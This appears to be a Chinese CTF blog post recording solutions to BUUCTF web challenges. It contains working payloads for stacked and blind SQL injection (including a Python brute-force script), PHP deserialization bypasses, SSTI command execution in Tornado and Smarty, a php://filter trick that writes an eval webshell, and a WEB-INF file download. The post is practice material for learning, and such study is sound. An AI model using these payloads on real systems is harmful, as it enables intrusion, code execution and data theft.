BUU刷题记录(WEB-1)


[强网杯 2019]随便注

堆叠注入;alert;rename;

  1. 单引号注入,inject=1' order by 2;# 记得加分号
  2. 堆叠注入,inject=1';show tables;#
    1. 有两个表,words1919810931114514
  3. 分别查看一下列表字段信息 记得加反引号
    1. inject=1’;show columns from `words`;#
    2. inject=1’ ;show columns from `1919810931114514`;#
array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

array(6) {
  [0]=>
  string(2) "id"
  [1]=>
  string(7) "int(10)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

array(6) {
  [0]=>
  string(4) "data"
  [1]=>
  string(11) "varchar(20)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}
  1. 发现默认查的表项是 words表项,猜测语句是 select id,data from words where id = ?但是flag在 1919810931114514 里面,所以要换一下表名和相应的字段格式才行
    1. inject=1';rename table `words` to words2;
    2. rename table `1919810931114514`to`words`;
    3. alter table words change flag id varchar(100);
    4. show tables;show columns from words;#
  2. 进行完上述四步骤,发现回显时flag名变id,varchar(100)类型,然后用万能语句查询就好。
    1. inject=1' or 1=1;# 得到flag。

[GYCTF2020]Blacklist

要点:堆叠注入,select被禁止
preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name CLOSE

1';HANDLER 表名 open;HANDLER 表名 read first;HANDLER FlagHere close;# 

[极客大挑战 2019]PHP 序列化

要点: 序列化,反序列化,walkup,私有变量

<?php
  include 'flag.php';
error_reporting(0);

class Name{
  private $username = 'nonono';
  private $password = 'yesyes';

  public function __construct($username,$password){
    $this->username = $username;
    $this->password = $password;
  }

  function __wakeup(){
    $this->username = 'guest';
  }

  function __destruct(){
    if ($this->password != 100) {
      echo "</br>NO!!!hacker!!!</br>";
      echo "You name is: ";
      echo $this->username;echo "</br>";
      echo "You password is: ";
      echo $this->password;echo "</br>";
      die();
    }
    if ($this->username === 'admin') {
      global $flag;
      echo $flag;
    }else{
      echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
      die();
    }
  }
}
    $select = $_GET['select'];
    $res=unserialize(@$select);
?>

分析上面的代码,两个私有变量username和password被初始化了,要变成对应的值,本地搭建一个网站。

<?php
class Name{
    private $username = 'admin';
    private $password = '100';
    }
 
    echo serialize(new Name());
?>
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
# 0x00
绕过waklup函数,需要 对象属性个数的值大于真实的属性个数的值
这里采用2变成3O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

#0x01
因为是私有变量,看s:14:"Nameusername" 他长度不对应,两个空字符被省了,要补上
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
然后提交即可。


[网鼎杯 2020 青龙组]AreUSerialz

要点: 系列化,私有属性的空字符


class FileHandler {
    protected $op;
    protected $filename;
    protected $content;
}
class FileHandler {
    public $op;
    public $filename;
    public $content;
}

???
题目不让有空字符
protect,private类型的属性序列化后也会产生不可打印字符,
对于PHP版本7.1+,对属性的类型不敏感,我们可以将protected类型改为public,以消除不可打印字符。

[RoarCTF 2019]Easy Calc

命令执行,空格绕过waf,php特性
在输入/?num = 1 时 正常
在输入 /?num = a 时不正常
防火墙告诉我们不能num不能有字符
绕过方法: /? num=a num前有一个空格,这要防火墙不会检测到num这个变量,同时php内部执行的时候,会自动将空格删掉,达成了绕过防火墙的作用 如果Num前加 [ 会解析成 _num

php下的命令执行
  ? num=var_dump(scandir(chr(47))) #列出参数下的文件和目录,47是 / 也可以直接用/
  ? num=file_get_contents(chr(47).flag) #获取/flag
  

[护网杯 2018]easy_tornado SSTI

要点:tornado render()
tornado是用Python编写的Web服务器兼Web应用框架
因为render()是tornado里的函数,可以生成html模板。是一个渲染函数 ,就是一个公式,能输出前端页面的公式。
tornado是用Python编写的Web服务器兼Web应用框架,简单来说就是用来生成模板的东西。和Python相关,和模板相关,就可以推测这可能是个ssti注入题了。
Tornado templates support control statements and expressions. Control
statements are surrounded by {% %}, e.g. {% if len(items) > 2 %}.
Expressions are surrounded by {{ }}, e.g. {{ items[0] }}.
模板注入必须通过传输型如{{xxx}}的执行命令。探测方式很简单,给一个参数赋值{{22*22}}返回484则必然存在模板注入。
但是当我们输入error?msg={{1}}就可以得到回显,说明此处是存在SSTI注入漏洞的。
搜素百度得Tornado框架的附属文件handler.settings中存在cookie_secret
error?msg={{handler.settings}}

[BJDCTF2020]The mystery of ip SSTI

要点: php模块注入,smarty

{{system('ls')}}
或者用if语句
{if system('ls')}{/if}
能用简单的谁会去用难的呢

{if phpinfo()}{/if}
{if readfile(‘文件路劲’)}{/if}
{if show_source(‘文件路径’)}{/if}
{if passthru(‘操作命令’)}{/if}
{if system(‘操作命令’)}{/if}
等等等等等等等等。。。。。。......

[极客大挑战 2022] Not_Stay

要点: php://filter exit()强制退出
大佬博客 绕过

<?php
  show_source(__FILE__);
  $c="<?php exit;?>";
  @$c.=$_POST['c'];
  @$filename=$_POST['file']; 
  if(!isset($filename))                    
  {                                       
    file_put_contents('tmp.php', ''); 
  }                                 
  @file_put_contents($filename, $c);
  include('tmp.php');
?>

先分析,输入的data前面会被加入一个头 <?php exit;?> 强制退出 导致无法运行php代码。
可以用base64编码绕过,base64解码时,会将<?; ?>解析不出来,乱码,仅将合法字符组成一个新的字符串进行解码。但是只有7个字节,所以补一个a,变成八字节,然后base64解码就会乱码,达成了绕过的效果。然后把一句话木马<?php @eval($_POST['shell']);?>编码一下PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pg==
二者合起来<?php exit;?>aPD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pg==base64解码一下:^ƫZ<?php @eval($_POST['shell']);?> 达成了绕过
payload: data=aPD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pg==&filename=php://filter/write=convert.base64-decode/resource=tmp.php

[GXYCTF2019]BabySQli

sql注入,联合注入添加临时虚拟用户
在这里插入图片描述



可以发现多了一个数据.
此题测试时发现order by 用不了 name=admin&pw=1
新的查询列数方式 name=-1" select 1,2,3#&pw=1 从小到大,找到一个不报错的就是列数,此题为3
猜测用户名的位置,select ‘admin’,2,3 报错, select 1,‘admin’,3不报错,猜测用户名是admin,在第二个位置
密码是第三位置,然后就 输入md5(1) = c4ca4238a0b923820dcc509a6f75849b
payload: name=-1'union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#&pw=1
此题相当于直接插入了一个admin和临时密码??

[CISCN2019 华北赛区 Day2 Web1]Hack World

要点:布尔盲注,if新用法
if(1=1,1,2)0^1。if很简单,就是类似三目运算符1==1?1:2

import requests
import re
 
url='http://b5ce63e7-d9e3-4bc3-a3aa-2b84aa4f2fc8.node4.buuoj.cn:81/index.php'
buu=''     #记录flag
 
for i in range(1,50):   #flag的字符数量
    for j in range(32,140):   #可打印出得所有字符的asii码值
        #构造payload,对flag的值进行遍历,i为位数,j为遍历集,{0}和{1}分别为占位指针,{0}对应i,{1}对应j
        payload="if((ascii(substr((select(flag)from(flag)),{0},1))={1}),1,0)".format(i,j)
        data={"id":payload}     #构造参数对象
        res=requests.post(url=url,data=data)       #请求
        #进行验证和记录flag
        if 'Hello, glzjin wants a girlfriend' in res.text:
           buu=buu+chr(j)
           print(i)
           print(buu)
           break              #跳出一层循环

[RoarCTF 2019]Easy Java

要点 java源码泄露
在这里插入图片描述


本来是GET传参,需要改成POST?

src/main/java: 这个目录一般是存放web项目的Java源文件的
src/main/resource: 这个目录一般是存放相关的配置文件
src/main/webapp: 这个目录一般是和web应用相关的
webapp下的文件目录是容易出现安全问题的
/WEB-INF/web.xml: Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则 
/WEB-INF/classes/:含了站点所有用的 class 文件(即编译后的Java文件),包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件

通过post请求下载web.xml文件 payload:Download?filename=/WEB-INF/web.xml
得到flag的信息

<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>FlagController</servlet-name>
<url-pattern>/Flag</url-pattern>
</servlet-mapping>

可以看到有个servlet(运行在web服务器或应用服务器上的程序)为FlagController,这个是可能有flag的类,存放于com.wm.ctf包下。那么尝试下载这个类。构造payload:Download?filename=/WEB-INF/classes/com/wm/ctf/FlagController.class(直接这样是不行,因为无法get请求。需要在Download页面下post请求传filename=/WEB-INF/classes/com/wm/ctf/FlagController.class)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

就你叫Martin?

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值